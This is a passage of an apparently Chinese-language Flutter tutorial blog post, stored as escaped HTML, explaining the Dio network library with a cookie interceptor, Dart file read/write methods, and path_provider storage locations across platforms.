class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这里面的 context 是指,这个应用,或者这个部件的状态。\u003c/p\u003e\n\u003ch3 id=\"dio-网络插件\"\u003eDio 网络插件\u003c/h3\u003e\n\u003cp\u003eFlutter 提供了很多的插件,来方便我们的开发体验。其中最著名的就是 Dio 网络库。他是一个异步网络访问库,使用方式和 axios 比较像。\u003c/p\u003e\n\u003cp\u003e先说明一下拦截器,它可以在获取回复/发送请求时,先拦截之,然后对该包进行修改。\u003c/p\u003e\n\u003cp\u003eDio 类的定义,其中我用到了拦截器和对基地址的设置,设置了这个,后面的访问就可以输入那个网站的子路由了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Maybe I wrote how to store the data is better.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003e_dio\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDio\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBaseOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebaseUrl:\u003c/span\u003e \u003cspan class=\"n\"\u003e_baseURL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003econtentType:\u003c/span\u003e \u003cspan class=\"n\"\u003eHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eformUrlEncodedContentType\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这个拦截器是 Cookie 管理器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einterceptors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCookieManager\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDio 的使用示例,它可以支持 POST,GET 等常见的 HTTP 请求方式。可以设定传输参数,请求头等很多东西。它的返回和 axios 大致相同,有响应数据,响应代码等。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etermStartDay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;XN\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;XQ\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;datas\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cxjcs\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;rows\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;XQKSRQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"存储\"\u003e存储\u003c/h3\u003e\n\u003ch4 id=\"dart-操作文件的函数\"\u003eDart 操作文件的函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样定义一个文件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;file.txt\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 按照字符读取文件的方法,异步和同步\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 按照一行一行字符读取文件的方式,异步和同步\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLines\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLinesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 二进制读取方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Dart 中表示二进制有一个专门的类型,叫做 Uint8List\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 二进制写入方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 字符串写入方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"path_provider\"\u003epath_provider\u003c/h4\u003e\n\u003cp\u003e作为一个跨平台的开发框架,Flutter 要能适应很多方面,其中最主要的就是存储位置。我们要存储一个文件的时候,需要在不同设备上,找到对应的位置。而在很多设备上,相同类型文件的存储地方是不一致的。\u003ccode\u003epath_provider\u003c/code\u003e能够让我们找到相应的位置。具体使用方式请参阅它的文档。\u003c/p\u003e\n\u003cp\u003e以下这个表格能体现出存储地方不同的问题:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDirectory\u003c/th\u003e\n\u003cth\u003eAndroid\u003c/th\u003e\n\u003cth\u003eiOS\u003c/th\u003e\n\u003cth\u003eLinux\u003c/th\u003e\n\u003cth\u003emacOS\u003c/th\u003e\n\u003cth\u003eWindows\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eTemporary\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Support\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Library\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Documents\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Cache Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDownloads\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e以下是我程序的一份示例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Loading cookiejar.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 先获取到 ApplicationSupport 的位置在哪\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDirectory\u003c/span\u003e \u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003egetApplicationSupportDirectory\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 注意 supportPath.path,这里我读取了路径结果\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan 